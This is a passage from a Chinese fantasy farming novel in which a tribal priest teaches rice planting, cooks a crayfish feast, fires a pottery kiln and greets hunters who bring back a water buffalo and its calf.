花时安揉了揉脑袋,渐渐缓过神,撑着床板坐起身,应了门外一声:“醒了醒了,怎么了?” 门外不止一个人,男声变成了女声,“我们准备下地栽秧了,就是不知道怎么栽,祭司大人你先教教我们吧,教完你再睡。” 熬了个通宵像是生了一场大病,花时安头重脚轻,脑袋晕乎乎的,反应也变迟钝了。床上愣了两秒,他终于找回了意识,穿上鞋子前去开门。 门外站着两个年轻亚兽人,门一打开便恭恭敬敬地和花时安打招呼。花时安点点头算是回应,越过两人望向营地,只看到寥寥几人。 应该都去水田那边了,花时安不好让人久等,脸没洗口也没漱,跟着两亚兽匆匆走向草地,再沿着草地走向上游。 水田挖在上游,紧挨着土豆地,人果然都到了,花时安老远就看到一排背篓和一大群人站在田边,田埂都快挤不下了。 俨然把栽秧当成了一件重要的大事,采集队和狩猎队都在,但人们并无往日风采,每个人都顶着不同程度的黑眼圈,哈欠连天,和花时安挥手的木族长也不例外。 “时安来这来这,就等你了。”木族长眼下一片青紫,精神状态却格外好,远远就在朝花时安挥手,脸上笑容尤为灿烂。 精力真好,花时安在心里感慨了一句,脚步虚浮地走上田埂,有气无力地站在木族长身旁,“这么早啊族长,天亮才睡,怎么不让大家多休息会儿?禾苗根部裹了泥巴,短时间内不会枯萎,傍晚再栽也不迟啊。” “迟!怎么会不迟?”木族长拍了拍装着禾苗的背篓,义正辞严道:“你不都说了嘛,早栽种早收获,早半天也是早!主要你把禾苗说得太神奇了,我们心痒啊,都想看看这禾苗到底能结出什么样的果实。” 心急吃不了热豆腐,花时安扫过田埂上哈欠连天的族人,转头又对木族长说道:“劳逸结合啊族长,看看大家都困成什么样了。栽秧不算麻烦,人多用不了多久就能栽种完,下午给他们放个假吧,让他们好好睡一觉去,累坏了身体不值当。” “好好好,都依你。”木族长连连点头,旋即从背篓里拿出一把禾苗交给花时安,“来,先教教大伙怎么种,教完你先回去睡。” “来都来了,哪有半道又走的道理,”花时安笑了一声,从木族长手中接过禾苗,脱掉棕鞋,率先淌进水田里。 “下田了下田了,一人拿一把禾苗,先下田!” “祭司大人我来了!” “我先,我先拿。” “哎别挤,我要挨着祭司大人。” …… 困倦与疲惫一扫而空,只听扑通扑通数声响,泥水四散飞溅,清澈的水田逐渐浑浊,密密麻麻全是人。 和煦的暖阳高悬穹顶,人们在田间挥洒汗水,弯腰将希望的种子埋进沃土之中。春种秋收,付出努力的人总能品尝到收获的果实,衣食无忧的生活——近在咫尺。 70-80 第71章 第 71 章 直钩钓馋鬼 陶坯搬去开阔的草地晾晒, 营地变得整洁了许多。 捏陶坯的空地被一排排简易竹架替代,焯过水的芦芽、竹笋撕成条,与新鲜蕨苔、野菜一同架在竹竿上晾晒,山风吹来时微微晃动, 窸窸窣窣, 好似摇曳不止的风铃。 一整个冬天过完, 松子板栗早就吃得差不多了,仓库里的土豆也所剩无几,前阵子晒得干鱼和森林里冒出头的野菜成了部落如今的主要食物。 田间作物尚未成熟,靠山吃山的日子还要持续一段时间。万物复苏的春,森林里除了野菜还是野菜,没有主食的日子令花时安有些焦虑不安。 不过还好, 意外收获的小龙虾极大程度地缓解了焦虑。 栽完秧又睡了个回笼觉,花时安恋恋不舍地告别周公,优哉游哉来到营地时,勤劳的族人早已忙碌起来。 忙里偷得半日闲,狩猎队与采集队均留在部落。 近来背篓、簸箕紧缺,兽人在帮忙劈砍竹子,划竹篾, 老人小孩暂放下泥巴编起了竹具, 而亚兽人手一根杨柳枝,蹲在河边刷洗张牙舞爪的小龙虾。 早上没白费口舌, 亚兽人已经完全掌握了清理小龙虾的技巧。碍事的虾头直接拧掉不要, 用竹签戳进虾背第三节外壳的缝隙中,轻轻挑出虾线,杨柳枝拍扁当刷子用,沾水反复刷洗虾身。 不要虾头或许有点浪费, 但花时安想过了,虾头毒素多,含有病菌和寄生虫,又没多少肉,少吃一点总比吃坏身体强。 何况……昨晚收获的龙虾不是一般的多,不差这点。 河边熙熙攘攘,密密麻麻全是人,花时安站在河岸垂眸望去,目之所及皆是红彤彤一片。虾头不要钱似的堆在地上,背篓、簸箕、石锅……部落现有的器具都用上了,哪哪都是虾。 有点太多了,感觉四五顿都吃不完,再说这玩意儿可不兴顿顿吃,吃多了消化不良、尿酸升高,影响身体健康。 做成虾干慢慢吃?花时安捏着下巴琢磨片刻,也想不到更好的办法,于是踩着碎石走下斜坡,在人群中找到熟悉的亚兽。 “知乐,映兰,你们先别洗了,走,帮我个忙。” 听到花时安声音,岩知乐倏地转过头,压根没听花时安说的什么,他忙地抬肘推蹲在身旁的红映兰,“祭司大人来了,快快快,挪个位置出来,祭司大人要挨着我。” 红映兰也没反应过来,拿着洗到一半的龙虾往旁边挪。挪出两步她终于反应过来了,步子一顿,抬头瞪了岩知乐一眼,“你耳朵堵住了吗?祭司大人让我们先别洗了。” “啊?”岩知乐茫然眨眨眼,回头望向花时安,“还有这么多没洗呢,不洗做什么去?” 耳朵该掏了,说个话真是要重复一万遍,花时安无奈揉了揉眉心,简明骇要道:“洗干净的虾先背一部分回去,跟我做饭去。” “做饭?” 岩知乐抬头望天,“太阳还没落山,会不会太早了点?” “哎呀你问题好多,祭司大人让做什么就做什么,赶紧的。”红映兰把洗到一半的龙虾洗完,丢进背篓里,麻利地起身。 岩知乐放下杨柳枝站起身,闷闷地“哦”了一声。 亚兽人起得早,龙虾已经洗了快一半,花时安和岩知乐、红映兰来回跑了几趟,将去头去虾线,清洗干净的龙虾背回营地。 红映兰堆柴生火,岩知乐洗锅打水,花时安在柴堆后方石头上找到一摞竹编蒸笼,挑了五个蒸屉出来,拿到河边清洗干净。 蒸笼是族人前阵子练手编的,为大石锅量身定做,崭新的还没用过,所以说器具还是得有,得全,总有用得上的时候。 三人分头行动,很快便将摊子给支好了,装着清水的大石锅架在火上烧,花时安抱着湿漉漉的蒸屉归来,用棕片把水擦干,随后前去仓库装了一篮子生姜,一棕包酸木瓜干。 生鲜多多少少有点腥味,就算晒虾干也要去去腥。生姜洗净切片,三人捧着龙虾往蒸屉里铺,一层龙虾一层姜片,少许酸木瓜干,再均匀撒上一层薄盐。 蒸屉够大,一格铺个两三层,五格蒸屉装了大半背篓虾。铺完便将蒸屉抬上锅,盖上盖子,直接大火蒸。 五格蒸屉摞的老高,花时安生怕一阵风来就倒了,但还好,族人编织竹具的手艺愈发精湛,蒸屉严丝合缝地扣着石锅,一格扣一格,风吹水沸也纹丝不动。 总共只有七格蒸屉,另外两格还有点瑕疵,只能一锅一锅地蒸。蒸笼上锅就没什么事做了,花时安单手撑着下巴发呆,时不时往火塘里丢点柴。 虾干花时安见过,也吃过,但龙虾干……花时安闻所未闻。甭管龙虾、河虾、海虾,横竖都是虾,做法应该也大差不差,只是龙虾壳比较厚,蒸好后估计要剥壳晾晒。 这么老多虾,不得剥到手抽筋? 啧,麻烦。 用来晒虾干的龙虾无需蒸太久,水开约莫半小时后,浓浓的白烟透过蒸屉缝隙飘散出来,花时安吸了吸鼻子,闻到一股沁人心脾的鲜香。 差不多熟了,花时安让红映兰找了个空背篓过来,随即掀开竹盖,用棕片垫着手,与岩知乐一同将冒着热气,翻着热浪的蒸屉抬下来。 洗净蒸熟,黑里透红的龙虾变成了鲜艳的大红,色泽鲜亮,尤为诱人。蒸屉打横,龙虾“哗哗”地掉进背篓里,热气携着馥郁的鲜香直扑面门,香得花时安都想当场旋几个。 还不是旋的时候,花时安忍住了,带着两个亚兽清空蒸笼,快速蒸上第二笼。 最轻松惬意的环节过去了,接下来就是痛苦的折磨。 蒸熟的龙虾稍微放凉一些,花时安在河边抢了两个干净簸箕回来,往两个亚兽中间一放,屈膝蹲坐在地,“来吧,掰开虾壳,把里面的虾仁剥出来。” 其貌不扬的龙虾蒸熟后居然这么香,岩知乐馋得口水直流,一听这话连忙从背篓里抓起一只龙虾。 多少还有点理智,拿起龙虾他没急着剥,舔着嘴唇眼巴巴地看向花时安,“祭司大人,不等他们会不会不太好呀?” “等他们做什么?” 虾身捋直竖着一捏,只听“咔嚓”一声响,花时安捏着虾尾轻拽虾肉,一整个完整的虾仁脱壳而出。 岩知乐看呆了,嘴巴长得老大,过了两息才回过神,重新开口:“吃饭当然要等人,虽然我很想吃,但他们还在干活呢,我们吃独食不好。” “扑哧。”红映兰不留情面地笑出了声,“岩知乐你熬夜熬傻了吗?谁说吃饭啊,吃什么饭?祭司大人叫我们剥虾!” 岩知乐不解地皱起了眉头,“对啊,剥虾不就为了吃吗,不吃为什么要剥?” “啪!” 白里透红的龙虾仁在半空中划出抛物线,稳稳落进簸箕里。花时安又从背篓里摸了一只虾,百忙中抽空看了他一眼,“你兰姐没说错,你真是熬夜熬傻了,这么大个簸箕摆在面前你愣是看不见?你看我们吃了吗?” “啊!感情这些虾有别的用处,不是今晚吃的?”岩知乐终于反应过来了,目光呆滞了一瞬,紧接着脸就红了,埋头开始剥虾。 红映兰不肯放过他,追着调侃:“哟,看来傻得没那么彻底,我还以为你满脑子就知道吃呢。” “我满脑子就知道吃?还不是祭司大人没说清楚,说什么回营地做饭,我当然就以为这些虾煮来今晚吃的!”岩知乐气鼓鼓地噘着嘴,据理力争。 花时安轻笑一声,老老实实背下这口锅,“好好好,怪我没说清楚行了吧。别光顾着说话,赶紧剥,等下另一笼又蒸好了。” “天啦,这些全都要剥?就我们三个人剥?”岩知乐还没剥顺手,剥一个都费劲,看着身旁装虾的背篓,看着身前冒烟的蒸笼,脸一下子就垮了下来。 红映兰点点头,难得赞同他的话:“确实有点多,龙虾壳太硬,剥起来又慢又废手。祭司大人,要不我再去河边叫些人来?不然就我们三个,剥到天黑都剥不完。” 花时安正有此意,轻轻“嗯”了一声,“去吧,他们那边估计也快洗完了,多叫几个过——” 话音戛然而止,红映兰刚准备起身,又听花时安说:“不用了。” “为什——” 红映兰下意识追问,结果刚说出两个字,到嘴边的话又重新咽了下去。 竹子劈完了,竹篾也划完了,一群神采奕奕的兽人拎着砍刀爬上河岸,身上棕裙湿漉漉的,看样子刚从河水里钻出来。 同样熬了一宿,甚至刚干完活,他们个个精神抖擞,状态不是一般的好。似乎被龙虾溢出的香味吸引,花时安望过去,他们正好看过来,略显冷清的营地一下子热闹起来。 “好香好香,祭司大人你们在煮什么好吃的?” “龙虾,背篓里装得龙虾!” “你们仔细看,颜色不一样了,龙虾变得好红!” “祭司大人,龙虾煮好了吗,可以吃了吗?” …… 送上门的免费劳动力,不要白不要,花时安果断朝他们挥挥手,抛出直钩钓馋鬼:“煮好了煮好了,刚出锅,来来来,你们都过来。” 确实煮好了,但又没说可以吃。 第72章 第 72 章 麻辣蒜蓉小龙虾 “过分, 太过分了!” “祭司大人,你好狠的心啊!” 暮色沉沉,绚烂的霞光将澄澈而湛蓝的天空染红。 余晖穿透枝叶洒落在熙熙攘攘的营地,巨杉树的影子被拉得又细又长, 烟雾朦胧的火塘旁, 咔嚓咔嚓的脆响此起彼伏, 好似干燥的柴火被脚掌碾碎,还伴随着阵阵哀怨声。 背篓与簸箕一个挨一个,在火塘周围筑起一道坚固的围墙。不久前还生龙活虎的兽人困在了墙内,精气神已然被抽走,一个个耷拉着脑袋,唉声叹气, 时不时埋怨几声。 看得着吃不着,剥了半天一粒也没吃到,连龙虾到底是什么味儿都不知道,岩秋雨真的快被馋哭了。 又一粒饱满的虾仁脱壳而出,他屏住呼吸四下环视一圈,见花时安蹲在石锅前和岩知乐说话,他似不经意地抬起手, 悄摸将虾仁往嘴边送。 “咳咳!” 差一点, 差一丁点就吃到了,压迫感十足的咳嗽声骤然响起。 完了, 被抓现行了, 岩秋雨做贼心虚,着急忙慌地将虾仁丢进簸箕里,谁料花时安看都没看他一眼,径直从他身旁走过, 停在了莫淮山面前,“淮山走,陪我去仓库取些调料。” “嗯好。”莫淮山放下手中活计,说着便站起身。 两人一前一后就这么走了,岩秋雨一瞅机会来了,正要朝簸箕伸出魔爪,尚未走远的花时安突然一回头,杀了个回马枪。 “加油剥,就剩最后这点了,早剥完早休息。” 花时安扫过小动作特别多的巨明,又意味深长地看了岩秋雨一眼,嘴角微微扬起,“别偷吃哦,采集队的亚兽人还在河边刷龙虾,他们可是连味儿都没闻到。再忍一忍,取完调料就回来炒虾,今晚管够。” “呵,我才不会偷吃。”岩秋雨理不直气不壮。 巨明狂咽口水,“祭司大人快去快回,我们等你!” 坐在一堆美食中,饶是狩猎队队长也难以自控,红勇和花时安表示会帮忙看着兽人,声音听起来却不那么坚定。 花时安笑了笑,与莫淮山并肩离开营地。 龙虾多的是,花时安嘴上说着不要偷吃,实际上也没有盯得那么紧,岩秋雨笨,做贼心虚迟迟不敢动手,一粒也没吃上,殊不知坐在他身后的巨明、他们刚正不阿的队长偷偷摸摸都快吃饱了。 同样没尝到味儿的还有花时安身旁这位,他不笨,纯粹是老实,花时安说不能吃他就不吃,连偷偷尝试的举动都没有。 就,很听话。 自己的人自己投喂,沿着林荫小道走出一段距离,将营地甩在身后,花时安垂在身侧的右手举到莫淮山胸前,缓缓摊开手掌。 揉成一团的树叶挣脱束缚,随手掌缓缓摊开,五六粒白红相间,紧实饱满的虾仁闯入视线,莫淮山怔了一瞬,满眼不可置信地看向花时安,那眼神像是在说:你怎么还监守自盗! “愣着干嘛,拿着吃呀,手都举酸了。”花时安把手举高了一点,笑着朝他扬了扬下巴。 “哦哦。”莫淮山赶忙接过虾仁。 虾仁还冒着热气,显然刚剥好不久,莫淮山握在手里没急着吃,眼神复杂地看着花时安,嘴唇翕动,“时安,这、这会不会不太好?大家都没有吃,我、我……” 花时安抬眸对上兽人的视线,眉眼笑意更浓,“别人是别人,你是你,在我这里你和别人能一样吗?” 灼热的视线不加掩饰,莫淮山像是被烫到一般,慌忙错开视线,鸵鸟一样埋下头。 比小姑娘还容易害羞,花时安目不转睛地看着他,半晌后轻笑一声,“快吃,一会儿凉了有腥味。没什么不好的,他们下午偷偷吃了好多,你没看见而已。” “啊?” 莫淮山诧异地抬起头,“你说了不能吃,他们怎么这样。” 花时安:“吃喝东西嘛,很难忍得住,少吃一点尝尝味儿,没关系的。只有我们淮山最听话,真就一粒不吃,所以特意给你带了呀,别人有的你也要有。” 胸口涌出的暖意比正午的阳光还暖和,莫淮山捻起一粒虾仁,深吸一口气,转而将虾仁递到花时安面前,耳尖红到滴血,“时安你、你先吃。” 几粒虾仁还要分着吃?花时安刚想拒绝,扭头触及兽人闪躲的目光,离自己越来越近的手,拒绝的话哽在了喉咙里。 不是分着吃,兽人要投喂他,喂给他吃。 难得勇敢一次,花时安没理由拒绝,他看着兽人越来越红的耳尖笑了一声,嘴唇微张,唇瓣擦过对方温热而粗粝的指腹,轻轻咬住虾仁。 牙齿碾碎虾仁,花时安眉毛一挑,十分夸张地惊呼出声,“哎呀好奇怪,虾肉怎么越嚼越香,怎么比刚才还好吃呢?哦,原来是淮山喂的。” “时安你别、别捉弄我……”兽人脸皮薄,经不起逗弄,一听这话,他本就涨红的脸颊又红了一个度,与那红彤彤的虾壳别无二致。 纯真青涩,他是一块未经雕琢的璞玉,完美无瑕。 花时安抬眸看着属于自己的兽人,感觉心跳慢慢加快,于是他挥挥手,加快了步伐,“不捉弄你了,赶紧把虾仁吃了,我们拿调料去,完事儿回去烧龙虾!” “嗯!” …… 夕阳的余晖散尽,夜幕笼罩着森林,晚风携着丝丝缕缕的炊烟萦绕上空,一股呛人又十分好闻的麻辣味包裹着热闹非凡的营地。 开饭开饭了!火光闪烁的营地,人们不拘小节席地而坐,肩并肩,在空地上围成一个圈。簸箕铺上树叶就是盘,油光水亮、个大饱满的龙虾冒着热气摆在正中间,足足装了八大盘。 原汁原味的清蒸小龙虾两盘,满得都快溢出来了。虾壳不沾油水,红得非常纯粹,好似被火烧红的烙铁,弥漫着淡淡的清香。 蒜蓉小龙虾三盘,薤白取头剁成泥,倒进热油里酥成蒜油,再混着龙虾一块炒,薤白的清香与虾的鲜香融合,那味道简直了,香迷糊。 最后三盘是麻辣小龙虾,条件实在有限,没有辣椒酱没有火锅底料,主厨选择了辣椒粉混辣椒段的炒法。干辣椒捣成粉末,倒进热油中炸成油辣子,放入干辣椒段、干花椒、薤白粒炒香,最后下小龙虾翻炒。 油辣子混干辣椒,少了一点醇厚的酱香,闻着略有些呛鼻子,但麻辣鲜咸,该有的味道一样不少,热油炸香的油辣子渗透虾壳,均匀裹满每一个虾,爱吃辣的人闻着这股味都要流口水。 主厨上桌,正式开动,没有筷子没有碗,直接上手,凭喜好抓取不同口味的龙虾。嗦虾剥壳,一时间,“咔嚓咔嚓”的脆响响彻沉寂的森林。 不知不觉中,族人的嘴巴被花时安养刁了,慢慢也开始偏向有调味料的食物。相比原汁原味的清蒸小龙虾,花时安费劲炒的蒜蓉小龙虾和麻辣小龙虾更受欢迎。 特别是下午尝过清蒸小龙虾的岩秋雨,一个麻辣小龙虾下肚,他眼睛都直了,眼中再无其他口味的龙虾,油乎乎的手直指簸箕,连连惊呼:“快,你们尝尝这个尝尝这个,超好吃超入味,这味道简直绝了!” 巨明吃得满嘴油,飞快地点点头,“嘶,嘶,真的好好吃,特别带劲,祭司大人的厨艺太棒了,我舌头快冒火了,都吃热起来了。” “真有这么好吃?”木族长心动了,可他又不太能吃辣,他盯着装麻辣龙虾的簸箕咽了咽口水,试探着询问道:“闻着怪呛的,是不是辣得很?” 虾仁剥好,四五粒一起丢进嘴里,岩知乐鼓着腮帮子怂恿:“闻着辣吃着不辣,族长你尝尝,可香了,吃一口忘不了。” 心动不如行动,木族长忍不住了,果断伸手抓了一个麻辣小龙虾。剥壳之前要嗦一口汁,他谨记花时安教的方法,抓着龙虾猛嗦一口,然后——撕心裂肺的咳嗽声在营地炸响。 “咳咳,咳咳咳!咳咳咳……” 又麻又辣,还呛着了,木族长咳了个昏天暗地,眼泪都挤出来了,喝了半竹筒清水才慢慢缓过劲。 怂恿他的罪魁祸首笑得前俯后仰,木族长咬牙切齿地瞪了他一眼,“小崽子长本事了,族长也敢忽悠。拿着,虾给你,太辣了我吃不了。” 盯着木族长递过来的虾,岩知乐眉头一皱,一脸嫌弃,“你嗦过了啊族长,上面全是你的口水,我才不吃!” 对哦,他嗦过了! 木族长这才反应过来,愁眉苦脸地抽回手。 嗦过不能再给别人吃,丢了又可惜,木族长犹豫再三,仿佛即将奔赴战场的士兵,视死如归地剥开虾壳,将虾仁丢进嘴里。 “嘶,嘶……这到底什么玩意儿,我嘴皮火辣辣的,舌头、舌头没知觉了。水,快给我水!” “哈哈哈哈哈!族长你尝尝这个,蒜蓉的不辣。” “滚滚滚,滚一边去,自己吃自己的,别叫我。” “每个味道都好好吃!好满足,有祭司大人真好!” “那天我还嫌弃龙虾丑,我真是眼瞎啊。” “太香了,香掉牙,我们晚点再去抓点龙虾吧。” “簸箕里还晒了那么多虾仁,祭司大人说了,全部吃完再说。” “虾壳别乱丢乱扔,放在背篓里。” “虾壳有什么用吗?” “祭司大人说,可以和虾头一起堆成肥,或者洗干净捣成粉,拌在野菜里当饲料。” …… 万籁俱寂的夜,营地沸沸扬扬,欢声笑语不断。 听他们侃天说地,看他们插科打诨也很有意思,花时安慢条斯理地剥着龙虾,一句话不插,时不时从坐在身旁的兽人手中接几粒虾仁,嘴角就没下去过。 幸福,他现在过得就很幸福。 第73章 第 73 章 烧制陶器 一顿龙虾宴把部落掏空了, 羊油、鸡油一滴不剩,花椒剩一小把,辣椒也只剩下小半包辣椒粉,不耐存放的树番茄更是早就没了, 而去年冬天挖回来的生姜也所剩无几。 由俭入奢易, 由奢入俭难, 吃了几天清水煮野菜,族人比花时安更着急,每天打了鸡血似的,天还没亮就往森林里跑,找食物、找各种调料。 巨树森林繁茂而富饶,奇花异草竞相生长, 植物种类多不胜数。深入丛林勇敢探索,放慢脚步仔细搜寻,部落吃的食物、能用的调味料又慢慢多了起来。 野草随处可见,但草与草之间也有区别,譬如清新好闻的香茅草,辛辣中带点微甜的紫苏,香味爽净, 极具穿透力的迷迭香。 野山椒秋天才成熟, 族人偶然在森林里找到的小个头朝天椒已经开始由青变黄了,无缝衔接上野山椒的位置。不仅如此, 他们还在森林中找到可食用的猫尾木花、冒出花苞的木姜子、奇形怪状的蛇黄瓜、形似南瓜的面瓜藤…… 其中最让花时安满意的两种植物, 采集队挖野菜无意挖出来的当归,被族人当作树根的葛根。 当归是一味中药,也是一种调味品,花时安很喜欢当归的香味, 而葛根也是一味中药,富含淀粉和丰富的膳食纤维,同时可以用来制作葛根粉。 没有土豆的日子格外难熬,花时安想这一口碳水很久了,但部落最近太忙了,白天外出采集狩猎,傍晚归来翻地浇水种植,一天掰成两天用,实在没有时间到处找葛根。 种地和采集狩猎同时兼顾确实很累,这阵子每天都过得很充实。一点办法没有,活要干,饭也要吃,地里作物又没成熟,总不能饿着肚子。 这一忙就忙活了将近十天,好在辛苦是值得的,河边草地又开垦出五块崭新的水田,菜地也新增了好几块,嫩绿的禾苗与鲜嫩的野菜在田地中扎根,在阳光下茁壮成长,一片生机盎然。 天灰蒙蒙亮,新一天的忙碌又开始了,不过与平常不同,人们吃完早饭没有急着外出,反而三五扎堆,有说有笑地走向草地。 经过数十日晾晒,前阵子捏制的陶坯彻底干透了。晾晒过程中反复检查、补缝,除了极个别开裂变形,大部分陶坯都可以用完美来形容。 大肚子泥罐、半人高的泥缸、两侧带有小耳朵的泥锅,光滑圆润的盘子碗……陶坯五花八门,日常器皿一应俱全,人们一个叠一个,一次抱一摞,踩着初升朝阳匆匆走向窑炉。 十多天的晾晒,挖在河岸边上的窑炉早就干透了。昨晚一把火空烧了半宿,完成了开窑,干净亮堂的窑室被火焰和烟雾熏得乌漆麻黑。 第一次烧窑,花时安相当重视,凡事亲力亲为。熬了半宿整个人蔫儿哒哒的,走路都在打瞌睡,可一走到窑炉边,他手中陶坯往地上一放,立马打起精神准备下窑。 新做的竹梯好看又结实,竖着放进窑室里,斜靠着窑壁,晃两下确定放稳当了后,花时安踩着梯子下到乌漆麻黑的窑室中。 脚刚挨着地,一阵窸窸窣窣的声响从头顶传来,花时安抬头一看,莫淮山居然也跟着踩上了竹梯,且窑口上方还探着五六个脑袋,跟排队等饭吃似的。 对新鲜事物好奇,人们干活很积极,但真的用不了这么多人,只放了三个人下来,花时安赶忙摆摆手,“好了好了,人多了窑室转不开,留几个人在上面帮忙递就行。族长,你带着采集队先走吧,岩知乐留下给我帮忙。” “走?”蹲在窑口的木族长一愣,“我们才刚来。” 另一个亚兽人附和:“就是呀,我们还等着看陶器呢。” 好像很失望的样子,花时安笑了笑,“本来也没多少事,就是陶坯有点多,让你们帮忙搬一下。现在差不多都搬过来了,该出门就出门吧,不能耽误正事,今天出去多挖点葛根,回头陶器烧好给你们做好吃的。” 对陶器的好奇战胜了美食的诱惑,木族长面露迟疑,继续向花时安争取:“就、就想看看这陶坯能烧成什么样,我们可以帮忙烧火添柴,等烧好了,晚点再出去也行嘛。” “族长,烧陶不是烧开水,一时半会烧不好,这一烧一勺一闷,开窑的话……”花时安捏着下巴琢磨一下,“估计得等到夜里。” “这么长时间?” 不再犹豫迟疑,木族长无奈叹了口气,“那好吧。” “采集队的,走了走了,背上背篓出门!” 采集队浩浩荡荡地离开,窑口只剩花时安点名留下的岩知乐和一群人兽人,花时安下巴微抬,拍拍手道:“干活干活,拿着陶坯往下递,一定要小心,陶坯脆弱,一个一个地递,千万不要磕了碰了。” “好嘞,祭司大人接着,先给你个大的。” 人多干活效率高,一群人上面递,三个人下面摆,很快,形态各异、大小不一的陶坯整整齐齐地铺在窑室中。 窑室没有铺满,第一次尝试,花时安打算先烧一大半,不过这一大半的数量已经很惊人了,踩着竹梯从上往下看,密密麻麻的,不知道的还以为挖到某个王侯将相的陪葬坑了。 干柴早已备好,就堆在火膛两侧,堆得高高的,几乎与河岸齐平,完全够用。剩下的活儿不多了,于是从窑室中爬出来,花时安呼出一口热气,扭头对兽人们道:“辛苦了,你们也先走吧,剩下的事不费力气,我和岩知乐慢慢弄就行。” 虽然很想亲眼见证陶器的诞生,但近些日子一直在部落忙活,都没怎么好好狩猎。又有一阵子没吃兽肉了,兽人们一刻不敢耽搁,当即与花时安道别,恋恋不舍又毅然决然地离开。 采集队狩猎队相继离开,只剩两个人的草地冷清了不少。 花时安原地歇息了片刻,待气喘匀,挥手招呼岩知乐干活:“来吧,抓紧时间,我们继续。” “哦哦好。”岩知乐一口应下,旋即掉头走向河岸。 花时安愣了一瞬,“不是,你干嘛去?” 岩知乐脚步微顿,茫然回头,“生火啊,陶坯放好了不就该生火了吗?” 昨晚开窑岩知乐也来凑了热闹,估计是那时候看到没封窑口,以为烧窑也这样烧。花时安无奈轻笑一声,指着地面黑洞洞的窑口解释道:“昨天那是开窑,和正儿八经地烧陶不一样。看到地上这个洞了吗,现在我们要把它堵起来。” “啊?”岩知乐快步走到窑口旁,低头看着硕大的黑洞,眉头微微一皱,“这大的洞怎么堵?为什么要堵呢,直接这样烧不行吗?” 花时安摇摇头:“还真不行。堵住洞口锁住火焰,窑室里的温度才会慢慢升起来。烧陶需要的温度很高,我们平时做饭那点温度可不够,至于怎么封……封一遍就知道了。” 熬夜真的会让人变笨,变恍惚,听花时安说完岩知乐才发现,旁边还放着族人帮忙准备的东西,一个奇奇怪怪的空背篓,两背篓半干不稀的黄泥,五根手臂粗的剥皮树。 树皮剥掉了,树干长度也经过测量,刚好比窑口长一点。花时安挖了几坨黄泥充当胶水,逐一将树干打横固定在窑口。 五根树干全部固定好,窑口基本已经堵上了,但树干与树干之间仍有不小的缝隙。这时候泥巴就派上了用场,花时安带着岩知乐从背篓里挖泥,均匀涂抹、填充缝隙。 黄泥和捏制陶坯的黄泥不一样,里面掺了晒干的芦苇碎,不会轻易从缝隙中掉进去。不过担心泥土被高温烤干,开窑时掉下去砸坏陶器,他们最终只抹了薄薄一层。 密封性不足还有背篓,比正常背篓大一圈,矮一截的背篓是花时安特意找族人“定制”的,往窑口上一扣,大小及高度正好合适。 紧接着,两个人将剩余黄泥全部倒出,开始给背篓穿衣服,一层一层又一层,堵住每一个竹篾缝隙,抹到完全看不出这是一个背篓。 烟孔和气孔事先预留好了,花时安最后检查了一遍,确认没什么问题后,手都顾不上洗,带着岩知乐匆匆走向河岸,添柴生火。 火一点燃,之后的活就轻松了,只需盯着火,时不时往火膛里添点干柴即可。最轻松的活往往最磨人,烧陶需要耐心,哪怕是最简单的素烧也需要六个小时以上。 昨晚没睡好,让岩知乐留下本来是为了有个伴,能聊聊天,解解闷。结果花时安太困了,上一秒还在和岩知乐说话,下一秒靠在干柴堆上睡着了。 “祭司大人,祭司大人!” 不知过了多久,一阵咋咋呼呼的惊呼在耳边响起,手臂被人抓着摇摇晃晃,花时安很快便醒了,困倦翻涌的眸子看着岩知乐,有气无力道:“怎么了,烧完了吗?” “没,还没烧完,是狩猎队,狩猎队回来了!” 像捡到宝一样,岩知乐使劲攥着花时安的手腕,激动得两眼放光。 花时安半梦半醒濒临死机,耷拉着脑袋打了个长长的哈欠:“哦?回来了,那怎么了?” “哎呀,祭司大人你清醒一点,这会儿才刚过中午,他们提前回来当然是抓到猎物了!” 岩知乐拍了拍花时安的脸,抓着花时安手试图将他拽起来,“你赶紧回去看看吧。刚才傻大个跑过来找你,看你睡着了没敢吵醒你,但他说了,那猎物特别特别大,山一样,他们十多个人都差点抬” 花时安瞌睡瞬间醒了大半,飞快地从地上爬起来,拔腿朝营地跑去。 山一样的猎物,十多个人都抬不动…… 该不会是抓到什么大型猛兽了吧? 第74章 第 74 章 水牛 气温稳步回升, 天气一天比一天热。午后宁静的下午,无风无云,高悬天空中的太阳不再温和,携着不容忽视的热意洒向大地。 营地对面绿茵茵的草坪上, 外出归来的兽人好似河中翻着白肚皮的鱼, 四仰八叉地躺倒在地。显然累坏了, 他们胸口剧烈起伏,呼吸声粗重,隔老远都听得见。 翠绿的草地长出一个大黑点,像是墨汁洒了出来,染黑了一大片,又像是一座沉稳的黑色巨塔凭空冒了出来, 巍然屹立,占据着大片草地。 墨色庞然大物横卧在地,背脊高高隆起,如同连绵起伏的山丘,与躺在旁边的兽人呈鲜明对比。它皮肤光滑毛发稀疏,黑褐色身躯覆盖了一大片草地,四肢粗壮如古树根基, 低垂的头颅好似岩石堆砌的岩壁。 兽人引以为傲的强健躯体被衬得无比渺小, 堪堪与巨兽大腿齐平,倘若巨兽还活着, 踩死一个人就像蹍死一只蚂蚁一样简单。 四肢粗短, 腰腹隆凸,光滑的皮肤在阳光照射下微微反光,远远看去很像肥嘟嘟的厚皮动物——河马,但走到侧面看清头颅, 看到两个又大又长,向后弯曲的角,花时安心中已有明确答案。 “哞,哞~” 走到巨兽身后正要确认,两声柔和而怪异的低吟划破寂静,花时安被吓了一跳,踉跄后退拉开距离,差点一个屁股墩摔地上。 什么情况,没死透? 花时安心率直线飙升,生怕这庞然大物下一秒站起来了。 “祭司大人!” 草地上四仰八叉的兽人齐齐站起身,快速围了上来。 瞧花时安紧张的样,队长红勇笑了笑,转身又走到巨兽身旁,伸手在巨兽背上“啪啪”拍了两巴掌,“别怕时安,这兽早没气了,刚刚发出怪叫的不是它,我们还抓了头小的。” “小的?”花时安瞬间精神了,迈开步子匆忙上前,绕过巨兽的脑袋来到正面。 正如红勇所说,水牛已死去多时,和巨杉树差不多粗的脖子上残留着一道道深可见骨的勒痕。出血量不算多,应该是窒息而亡,伤口边缘棕绳纤维隐约可见。 水牛庞大的身躯挡住了视线,绕到正面来,花时安一低头便看到了一头眼神清澈,毛茸茸的牛犊窝在大水牛肚子旁边。 小牛个头可一点都不小,甚至比成年的红羊还要大上一圈,但身上灰棕色的软毛,头顶刚冒出尖尖的角,以及那无比清澈的眼神都能说明,它只是一头刚出生不久的牛犊。 任何动物小时候都很可爱,小牛犊也不例外。花时安垂眸看着它,它怯怯抬头看花时安一眼,眼神中有对未知事物的恐惧,也有对新鲜事物的好奇。 